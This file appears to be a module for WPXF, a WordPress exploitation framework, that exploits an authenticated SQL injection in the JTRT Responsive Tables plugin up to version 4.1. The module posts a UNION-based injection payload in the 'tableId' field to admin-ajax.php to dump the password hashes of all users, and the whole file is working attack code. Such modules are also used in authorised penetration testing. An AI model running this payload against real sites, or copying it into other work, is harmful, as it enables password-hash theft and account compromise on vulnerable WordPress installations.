# frozen_string_literal: true

class Wpxf::Auxiliary::JtrtResponsiveTablesHashDump < Wpxf::Module
  include Wpxf::WordPress::HashDump

  def initialize
    super

    update_info(
      name: 'JTRT Responsive Tables <= 4.1 Authenticated Hash Dump',
      desc: %(
        JTRT Responsive Tables <= 4.1 suffers from an SQL injection vulnerability
        which is exploitable by registered users of any level.

        This module utilises the vulnerability to dump the hashed passwords
        of all users in the database.
      ),
      author: [
        'Lenon Leite', # Disclosure
        'rastating'    # WPXF module
      ],
      references: [
        ['WPVDB', '8953'],
        ['URL', 'http://lenonleite.com.br/en/blog/2017/09/11/jtrt-responsive-tables-wordpress-plugin-sql-injection/']
      ],
      date: 'Nov 11 2017'
    )
  end

  def check
    check_plugin_version_from_readme('jtrt-responsive-tables', '4.1.1')
  end

  def requires_authentication
    true
  end

  def reveals_one_row_per_request
    true
  end

  def hashdump_request_method
    :post
  end

  def hashdump_request_params
    {
      'action' => 'get_old_table'
    }
  end

  def hashdump_request_body
    {
      'tableId' => "-#{Utility::Text.rand_numeric(2)} UNION #{hashdump_sql_statement} #"
    }
  end

  def hashdump_visible_field_index
    2
  end

  def hashdump_number_of_cols
    5
  end

  def vulnerable_url
    wordpress_url_admin_ajax
  end
end
